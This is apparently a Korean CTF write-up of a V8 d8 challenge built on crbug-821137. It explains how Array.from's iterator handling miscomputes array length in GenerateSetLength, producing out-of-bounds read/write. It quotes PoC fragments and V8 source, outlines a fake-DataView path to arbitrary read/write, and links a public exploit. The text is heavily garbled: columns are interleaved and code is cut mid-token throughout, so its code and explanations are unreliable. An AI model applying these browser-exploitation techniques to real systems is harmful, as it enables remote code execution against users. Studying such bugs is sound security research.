Roll a d8 and win your of Last year, hackers succ	
You can download relev	essfully exploited Chakrazy. This time, we came back with d8 powered by V8 JavaScript engine.
# Bug Analysis crbug-821137에 해당하는 # regress-821137.js let_oobArray = [];	E Hint가 나가서, 이에 대응하는 regress file을 찾아보았더니 있었다. (After CTF)
<pre>Array.from.call(function {     counter : 0,     max : 1024 * 102     next() {        let result = t        if (this.count</pre>	this.counter++; ter == this.max) {
<pre>oobArray.len     return {done } else {     return {valu } } } } </pre>	
간단하게 poc code를 바탕 원래 정의상, iteratable한 c 여기서, 문제가 되는 것이, it	ength - 1] = 0x41414141; t으로 설명하면, Symbol.iterator를 임의로 정의를 해주고, 내부적으로 next()를 통해서 elements에 대하여 iteration 하게된다 object에 대하여, done이라는 값이 next()라는 함수가 리턴해줘야하는 것이다. terate한 만큼의 수를 runtime에서 실제 length로 세팅하고 사용을 하는데, 이 iterate 하는 와중에 length가 바뀔 수 있다는 점
을 간과한 것이다. 그래서, 마지막 루프에서 arı 이 원리로 oobArray에 대히 # poc full description [	ray length는 0으로 세팅하지만, 내부 코드에 의해서, 실제 길이는 loop를 돌은 만큼 세팅되게 된다. ŀ여 OOB R/W가 발생하게 된다.
TNode <object> map_</object>	if `map_function` can be called function = args.GetOptionalArgumentValue(1); n is not undefined, then ensure it's callable else throw.
GotoIf(IsUndefin GotoIf(TaggedIsS Branch(IsCallabl BIND(&error);	this), error(this); ned(map_function), &no_error); Smi(map_function), &error); Le(map_function), &no_error, &error); context, MessageTemplate::kCalledNonCallable, map_function);
Node* iterator_met iterator_assem	embler iterator_assembler(state());
	ne method can be called, you can call to jump to next e method is callable.
GotoIf(TaggedI GotoIfNot(IsCa Goto(&next); BIND(&get_meth	<pre>nod_not_callable(this, Label::kDeferred), next(this); IsSmi(iterator_method), &amp;get_method_not_callable); allable(iterator_method), &amp;get_method_not_callable); nod_not_callable); r(context, MessageTemplate::kCalledNonCallable,    iterator_method);</pre>
<pre>} // Perform some // Construct the array = Construct // Actually get // one.</pre>	<pre>initialization, here created an array of length 0 e output array with empty length. ctArrayLike(context, args.GetReceiver()); the iterator and throw if the iterator method does not yield iterator_record =</pre>
TNode <context> n TNode<object> fa</object></context>	<pre>sembler.GetIterator(context, items, iterator_method); native_context = LoadNativeContext(context); nst_iterator_result_map = Element(native_context, Context::ITERATOR_RESULT_MAP_INDEX); the loop</pre>
BIND(&loop_done) {     length = index     // Jump to fin     Goto(&finished) }	k; nished when the loop is complete
// Unable to itera BIND(¬_iterable { }	
GenerateSetLength( args.PopAndReturn(	e length on the output and return it. (context, array.value(), length.value()); (array.value()); 단제의 root cause는 iterator 이후 실제로 length를 지정하는 다음과 같은 곳에서 발생한다.
class ArrayPopulator  void GenerateSetLe	*Assembler : public CodeStubAssembler { ength(TNode <context> context, TNode<object> array,     TNode<number> length) { ), runtime(this), done(this);</number></object></context>
 참고로, 코드를 보다보면, La 즉, 조건에 따른 분기 지점을 namespace v8 {	abel과 BIND 문을 자주 볼 수 있는데, 이는 어셈블리로 바뀌었을 때, jmp류의 instruction과 label로 변경된다. 을 binding 하는 것이다.
namespace internal {  // // Labels represent // After declaration // unknown pc location	pc locations; they are typically jump or call targets. n, a label can be freely used to denote known or (yet) ion. Assembler::bind() is used to bind a label to the bel can be bound only once.
•	<pre>jump: 8 bit displacement (signed) jump: 32 bit displacement (signed) t;</pre>
Array like Object에 대하여 있다. <b>class</b> IteratorBuilt <b>public:</b>	며 item[Symbol.iterator]라는 것이 있는데, 이에 대하여 따로 정의된게 있는지는 "builtins-iterator-gen.(h/cc)" 에서 확인할 cinsAssembler : <b>public</b> CodeStubAssembler {
explicit IteratorB : CodeStubAsse  // Returns object/ Node* GetIteratorN	BuiltinsAssembler(compiler::CodeAssemblerState* state) embler(state) {}  [Symbol.iterator]. Method(Node* context, Node* object);  통해서, 따로 정의해둔게 있다면, 해당하는 함수를 호출할 수 있다.
실제 코드는 다음과 같다. Node* IteratorBuilti	통해서, 따로 정의해둔게 있다면, 해당하는 함수를 호출할 수 있다.  insAssembler::GetIteratorMethod(Node* context,
그리고 마지막에 Generate	r symbol이 정의된 것이 있으면, 가져와서 해당 iterator를 통해서 루프를 돌게되고, 이 루프를 돈 만큼 length를 정하게된다. SetLength가 호출되는데, 여기서 핵심 문제점이 있는 것이다.
Label fast(this) // TODO(delphick // length alread // fast path. // Only set the	ength(TNode <context> context, TNode<object> array,  TNode<number> length) { ), runtime(this), done(this); &lt;): We should be able to skip the fast set altogether, if the dy equals the expected length, which it always is now on the  length in this stub if has fast elements,</number></object></context>
<pre>// 2) the length // 3) the new le // 1) Check that // TODO(delphick // check for SMI // TODO(delphick</pre>	n is writable, ength is equal to the old length. t the array has fast elements. k): Consider changing this since it does an an unnecessary
BranchIfFastJSAr BIND(&fast); {     TNode <jsarray>     TNode<smi> len     TNode<smi> old     CSA_ASSERT(thi</smi></smi></jsarray>	rray(array, context, &fast, &runtime);  - fast_array = CAST(array); - ngth_smi = CAST(length); - d_length = LoadFastJSArrayLength(fast_array); - is, TaggedIsPositiveSmi(old_length));
<pre>// TODO(delphi // BranchIfFas EnsureArrayLen // 3) If the of // then use // into except</pre>	that the length is writable.  ick): This check may be redundant due to the stJSArray above.  igthWritable(LoadMap(fast_array), &runtime);  created array's length does not match the required length,  e the runtime to set the property as that will insert holes  cess elements or shrink the backing store as appropriate.
StoreObjectFie Goto(&done); } BIND(&runtime); {	<pre>sThan(length_smi, old_length), &amp;runtime); eldNoWriteBarrier(fast_array, JSArray::kLengthOffset,</pre>
Co	odeStubAssembler::LengthStringConstant(), length, niConstant(LanguageMode::kStrict));
length_smi의 경우, iterati 색으로 강조된 부분에서 "le 여기서 임의로 iteration의 회 만약에 조건문이 참이라면, r	D(&fast)안의 루틴을 타게된다. ion의 횟수를 의미하고, old_length의 경우, Array의 length property를 의미한다. ngth_smi < old_length"인지 체크를 하게되는데, 이는 "순회를 돈 iteration 횟수 < Array의 length"를 비교하는 것이 된다. 횟수가 많아졌으며, 내부적으로 마지막 iteration에서 array length를 0으로 만들어버렸다. runtime 루프로 분기가 변경되는데, CallRuntime에서 length에 따라서 메모리 크기의 변경이 일어난다.
여기서 array의 length가 le Exploit 자체는 어렵지 않은	가고 StoreObjectFieldNoWriteBarrier 함수를 호출하게 된다. ength_smi로 변경되게되고, 실제 array가 가져야하는 길이보다 훨씬 큰 값을 가지므로, OOB R/W가 발생하게 되는 것이다. 단데, poc의 root-cause 분석이 어려운 것 같다. ive 레벨에서 어떻게 핸들링되는지 알아야하고, BIND라는 매크로가 정확하게 무엇을 하는 놈인지 잘 모르겠다.
OOB R/W를 다 가지고 있는 이전 zer0con 때의 박세준년 • <u>https://github.cor</u>	는데, Exploit을 위해서는 Arbitrary R/W로 바꿔야 한다. 님의 발표 슬라이드를 참고하면 다음과 같다.  m/theori-io/zer0con2018_bpak/blob/master/code/exploit.js
<ul> <li>Construct a buffer</li> </ul>	Read/Write Primitive (Case 2)  fake DataView object with controlled length and the instance type is defined in the map object
<ul><li>(Thus, we</li><li>Requires a f</li><li>Backing sto</li></ul>	need a fake map object as well)  Take ArrayBuffer object  ore for the DataView we create  s to have a valid allocation base (i.e. buffer address)
• DataView.pro DataView를 조작하는데, b	ototype.getUint32.call(dv, 0, true); ototype.setUint32.call(dv, offset, value, true); oacking store의 역할을 하는 ArrayBuffer 쪽을 바꾸는 것이다.
간단하게 분석을 먼저 해보지 ArrayBuffer, DataView, F @ ArrayBuffer	다. Function 이 세 개를 마음대로 조작하는데에 필요한 요소들이 무엇인지 살펴봐야 한다.
marshimaro-peda\$ x/g	gx args.values_
<pre>0x7ffdfa94d360: 0 marshimaro-peda\$ job 0xc19f7684e19: [JSAr - map: 0x092dfc10239</pre>	rrayBuffer] 99 <map(holey_elements)> [FastProperties]</map(holey_elements)>
<pre>0x7ffdfa94d360: 0 marshimaro-peda\$ job 0xc19f7684e19: [JSAr - map: 0x092dfc10239 - prototype: 0x31030 - elements: 0x0f4bed - embedder fields: 2 - backing_store: 0x5 - byte_length: 4096 - neuterable - properties: 0x0f4b</pre>	o 0x00000c19f7684e19 crayBuffer] 09 <map(holey_elements)> [FastProperties] a980ea31 <object map="0x92dfc1023e9"> dd00c21 <fixedarray[0]> [HOLEY_ELEMENTS] 2 5606313be050  pedd00c21 <fixedarray[0]> {}</fixedarray[0]></fixedarray[0]></object></map(holey_elements)>
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